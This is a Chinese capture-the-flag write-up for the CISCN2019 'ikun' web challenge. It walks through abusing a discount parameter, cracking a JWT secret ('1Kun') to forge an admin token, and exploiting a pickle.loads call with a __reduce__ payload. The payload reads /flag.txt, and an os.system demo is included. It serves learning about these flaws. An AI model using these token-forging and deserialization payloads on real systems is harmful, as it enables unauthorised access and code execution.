[CISCN2019 华北赛区 Day1 Web2]ikun

P.S.好家伙 这题是真的好难 做的时候看wp都看傻了

审题

注意这句话:

1
ikun们冲鸭,一定要买到lv6!!!

看到下面的那些lv2345的 明白了我们要寻找lv6的 如果点击下一页的话 地址栏上会出现?page=x 手工找确实比较慢 于是我们跑脚本

1
2
3
4
5
6
7
8
9
import requests
url="http://web44.buuoj.cn/shop?page="

for i in range(0,2000):

r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print (i)
break

解题

上面脚本跑了就会发现 在180页有lv6 但是好贵买不起 想着抓包应该能改点啥 发现可以改折扣 改不了钱那就改成0.0001折 得到了一个需要管理才能进的页面

1
http://4dc8fcb6-17ac-4909-b22b-95b220513653.node3.buuoj.cn/b1g_m4mber

看到抓的包上面那么多大串加密的字符 应该是要从这边入手 瞄了眼wp才知道 原来入手点是JMT

JMT

什么是JMT 这位大佬说的很详细 附上大佬的博客 简单来说是一种经过加密的 用于在JSON间安全地传输信息的格式 当然我们如果需要解密题目中的JMT需要脚本 也需要在线编辑JMT的网站(P.S.网站需要翻墙 大家自备小飞机)

破解脚本使用

首先是下载地址

1
https://github.com/brendan-rius/c-jwt-cracker

我相信很多人不爱看README.MD那我简单贴一下流程
先打开这个脚本所在的文件夹 打开终端
首先起个docker 这个脚本是依赖于docker的(应该是这么说吧)

1
docker build . -t jwtcrack

起了之后就

1
docker run -it --rm  jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IkRhd294aWFuc2lnZW1hIn0.HzsFiUlGFhYuEba1CeDVkGYfUb_mreVe848JUK9VP40

等一会就会跑出来

1
Secret is "1Kun"

至此脚本的任务就完成了 拿到了加密的信息

生成JMT

这个网站需要翻墙 自备小飞机

1
https://jwt.io/

上去之后 我们的用户名必须是admin 并且VERIFY SIGNATURE这一项就是1Kun了 刚刚跑出来的 替换之后我们就拿到了我们需要的JMT了 抓包替换 注意这里替换的时候 JMT结尾有一个封号 不要漏了 漏了就报500错 这个小坑还卡了我一会 于是我们成功进入后台页面 查看源码之后 得到了网站源码的下载地址

Pickle反序列化

没想到后面还有一个反序列化的洞 因为还完全没接触过python的序列化 还在看大佬的wp和博客 这边贴上大佬对python序列化的讲解 大佬的博客 之前鸽的今天可以补上了XD

审计之后发现有序列化洞的是admin.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

这里要说一下Pickle序列化 php的序列化函数是用serialize 而在python里面用的是pickle.dumps函数 举一个简单的栗子

1
2
3
4
5
6
7
import pickle
class Test(object):
def __init__(self):
self.a = 1
aa = Test()
print [pickle.dumps(aa)]
["ccopy_reg\n_reconstructor\np0\n(c__main__\nTest\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'a'\np6\nI1\nsb."]

对没错 这么一大串相比php的序列化臃肿了许多 具体底层的知识可以看看 这位大佬的博客 而反序列化用的就是pickle.loads函数了 这里都没啥问题

关键是pickle序列化中一个非常神奇的魔术方法 叫__reduce__ 这个函数就很有意思 再举个栗子

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import os
class Test(object):
def __init__(self):
self.a = 1
self.b = '2'
self.c = '3'
def __reduce__(self):
return (os.system,('dir',))

aa = Test()
bb = pickle.dumps(aa)
print [bb],pickle.loads(bb)

而这个文件输出的是什么

1
2
3
4
5
6
7
8
9
10
11
������ C �еľ��� Windows
��������� F826-B596

C:\Users\20719\Desktop\1 ��Ŀ¼

2021/03/10 13:03 <DIR> .
2021/03/10 13:03 <DIR> ..
2021/03/10 13:13 265 2.py
1 ���ļ� 265 �ֽ�
2 ��Ŀ¼ 91,049,787,392 �����ֽ�
["cnt\nsystem\np0\n(S'dir'\np1\ntp2\nRp3\n."] 0

没错 他扫了我们这个文件所在的目录 也就是说我们可以通过reduce魔术方法 来利用反序列化漏洞 也许这就是很少有人用python序列化的原因吧 这太危险了

回到题目 我们看到了他传的become参数 用pickle.loads反序列化了一下 那我们就可以用刚刚的方法依葫芦画瓢 构造出我们要的函数

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

拿到我们要的become 抓包修改become参数 拿到flag

这题对我这种WEB垃圾来说 是真的有好多好多东西得学 好难好难 只好慢慢啃了

EOF